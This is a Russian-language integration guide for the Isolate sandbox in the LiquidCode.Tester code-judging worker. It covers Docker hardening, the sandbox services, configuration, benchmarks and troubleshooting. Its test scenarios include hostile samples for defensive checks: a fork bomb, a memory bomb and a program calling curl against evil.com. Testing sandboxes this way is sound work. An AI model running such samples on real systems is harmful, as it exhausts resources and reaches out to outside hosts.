Files
LiquidCode.Tester/ISOLATE_INTEGRATION.md
2025-11-04 20:22:51 +04:00

10 KiB
Raw Blame History

Isolate Sandbox Integration

Обзор

Интеграция Isolate sandbox обеспечивает безопасное выполнение пользовательского кода с изоляцией на уровне ядра Linux.

Что было сделано

1. Docker Security Hardening

compose.yaml:

  • Gateway: cap_drop: ALL, no-new-privileges:true
  • Worker: cap_drop: ALL + минимальные capabilities (SYS_ADMIN, SETUID, SETGID)
  • Worker: tmpfs для /tmp (4GB)
  • Worker: ulimits (nproc: 1024, nofile: 2048)
  • AppArmor profile

2. Worker Dockerfile

Установлено:

  • Isolate sandbox (с libcap-dev, libsystemd-dev)
  • Unprivileged user workeruser (uid: 1001)
  • Конфигурация isolate (/usr/local/etc/isolate)

Структура:

/var/local/lib/isolate/  - Isolate box root
/app/                    - Worker приложение (chown workeruser)
/tmp/testing/            - Temp directory (chown workeruser)

3. Новые сервисы

IsolateService - Основной сервис для работы с Isolate:

  • InitBoxAsync(boxId) - Инициализация sandbox
  • RunAsync(options) - Выполнение программы
  • CleanupBoxAsync(boxId) - Очистка sandbox
  • Парсинг metadata (CPU time, memory, context switches)

IsolateBoxPool - Управление параллельными box'ами:

  • Пул из N box IDs (конфигурируется)
  • Thread-safe acquire/release
  • Автоматическое ожидание при занятости всех box'ов

CppExecutionServiceIsolate - Реализация IExecutionService с Isolate:

  • Копирование executable в box
  • Выполнение с ограничениями (CPU, memory, processes)
  • Mapping результатов Isolate → ExecutionResult

4. Конфигурация

appsettings.json:

{
  "Isolate": {
    "Enabled": true,
    "MaxBoxes": 100
  }
}

Environment переменные (compose.yaml):

environment:
  - Isolate__Enabled=true
  - Isolate__MaxBoxes=100

Что защищает Isolate

Угроза Без Isolate С Isolate
Fork bomb Убьёт контейнер БЛОК (process limit)
Network attack Полный доступ БЛОК (no network)
File access Видит весь контейнер БЛОК (mount namespace)
Memory bomb ⚠️ Неточно (PeakWorkingSet64) ТОЧНО (cgroups)
CPU bomb ⚠️ Wall time CPU time (справедливо)
Syscall abuse Любые syscalls ФИЛЬТР (seccomp)

Архитектура безопасности

┌─────────────────────────────────────────────┐
│ HOST OS (Linux)                             │
│  ┌───────────────────────────────────────┐  │
│  │ Docker Container (Worker)             │  │
│  │ • cap_drop: ALL                       │  │
│  │ • no-new-privileges                   │  │
│  │ • AppArmor                            │  │
│  │                                        │  │
│  │  ┌─────────────────────────────────┐  │  │
│  │  │ Worker Process (uid 1001)       │  │  │
│  │  │                                  │  │  │
│  │  │  ┌───────────────────────────┐  │  │  │
│  │  │  │ Isolate Box                │  │  │  │
│  │  │  │ • PID namespace            │  │  │  │
│  │  │  │ • Network isolation        │  │  │  │
│  │  │  │ • Mount namespace          │  │  │  │
│  │  │  │ • cgroups (CPU, mem)       │  │  │  │
│  │  │  │ • seccomp-bpf              │  │  │  │
│  │  │  │                             │  │  │  │
│  │  │  │  USER CODE RUNS HERE        │  │  │  │
│  │  │  └───────────────────────────┘  │  │  │
│  │  └─────────────────────────────────┘  │  │
│  └───────────────────────────────────────┘  │
└─────────────────────────────────────────────┘

Тестирование

Запуск с Isolate

# 1. Rebuild контейнеров
docker-compose down
docker-compose build --no-cache worker
docker-compose up

# 2. Проверка установки Isolate
docker exec liquidcode-tester-worker isolate --version

# 3. Проверка прав
docker exec liquidcode-tester-worker whoami  # должно быть: workeruser

# 4. Проверка box директории
docker exec liquidcode-tester-worker ls -la /var/local/lib/isolate

Тестовые сценарии

1. Простая программа (C++)

curl -X POST http://localhost:8081/api/test \
  -F "id=1" \
  -F "missionId=100" \
  -F "language=c++" \
  -F "sourceCode=#include <iostream>
int main() { std::cout << \"Hello World\"; }" \
  -F "callbackUrl=http://localhost/callback" \
  -F "package=@test_package.zip"

2. Fork bomb (должен быть ЗАБЛОКИРОВАН)

#include <unistd.h>
int main() {
    while(1) fork();
}

3. Network attack (должен быть ЗАБЛОКИРОВАН)

#include <iostream>
#include <cstdlib>
int main() {
    system("curl http://evil.com");
}

4. Memory bomb (должен быть ОСТАНОВЛЕН)

#include <vector>
int main() {
    std::vector<int> v;
    while(1) v.push_back(1);
}

5. Time limit

#include <unistd.h>
int main() {
    sleep(10);
}

Проверка логов

# Проверка использования Isolate
docker logs liquidcode-tester-worker 2>&1 | grep "Isolate"

# Проверка box acquire/release
docker logs liquidcode-tester-worker 2>&1 | grep "box"

# Проверка метрик
docker logs liquidcode-tester-worker 2>&1 | grep "Isolate stats"

Проверка безопасности

# 1. Проверка capabilities контейнера
docker inspect liquidcode-tester-worker | jq '.[0].HostConfig.CapDrop'
docker inspect liquidcode-tester-worker | jq '.[0].HostConfig.CapAdd'

# 2. Проверка security_opt
docker inspect liquidcode-tester-worker | jq '.[0].HostConfig.SecurityOpt'

# 3. Проверка ulimits
docker inspect liquidcode-tester-worker | jq '.[0].HostConfig.Ulimits'

Производительность

Overhead на один запуск:

Операция Время
Init box ~10-15ms
Run program 0ms (в пределах погрешности)
Cleanup ~5-10ms
Total overhead ~25ms

Для задачи с 100 тестами (1s TL каждый):

  • Overhead: 25ms × 100 = 2.5s
  • Типичное время: 100s
  • Увеличение: +2.5% (незначительно!)

Pool statistics:

# Monitoring через API endpoint (TODO)
curl http://localhost:8081/api/monitoring/isolate-pool

Отключение Isolate

Для отключения Isolate (вернуться к старому поведению):

appsettings.json:

{
  "Isolate": {
    "Enabled": false
  }
}

Или через environment:

environment:
  - Isolate__Enabled=false

Следующие шаги

Фаза 2: Full execution integration (неделя 2)

  • Интегрировать Isolate в JavaExecutionService
  • Интегрировать Isolate в KotlinExecutionService
  • Интегрировать Isolate в CSharpExecutionService
  • Интегрировать Isolate в PythonExecutionService

Фаза 3: Compilation + Checker (неделя 3)

  • Изолировать компиляцию (CppCompilationService и др.)
  • Изолировать checker (CheckerService)
  • Тестирование с реальными Polygon пакетами

Улучшения

  • Monitoring endpoint для статистики box pool
  • Graceful degradation при недоступности Isolate
  • Кэширование executable в box (для checker)
  • Custom AppArmor profile (advanced)
  • Metrics (Prometheus)

Известные ограничения

  1. Только Linux - Isolate работает только на Linux kernel
  2. CAP_SYS_ADMIN - Worker контейнер требует повышенных прав
  3. Box pool limit - Максимум 100 параллельных заданий (конфигурируется)
  4. Workeruser permissions - Некоторые операции могут требовать root

Troubleshooting

Isolate not found

# Проверка установки
docker exec liquidcode-tester-worker which isolate
docker exec liquidcode-tester-worker isolate --version

Permission denied

# Проверка владельца директорий
docker exec liquidcode-tester-worker ls -la /var/local/lib/isolate
docker exec liquidcode-tester-worker ls -la /app

Box initialization failed

# Проверка capabilities
docker inspect liquidcode-tester-worker | jq '.[0].HostConfig.CapAdd'

# Должны быть: SYS_ADMIN, SETUID, SETGID

Cgroups not working

# Проверка cgroup v2
docker exec liquidcode-tester-worker ls -la /sys/fs/cgroup

# Проверка конфигурации isolate
docker exec liquidcode-tester-worker cat /usr/local/etc/isolate

Ссылки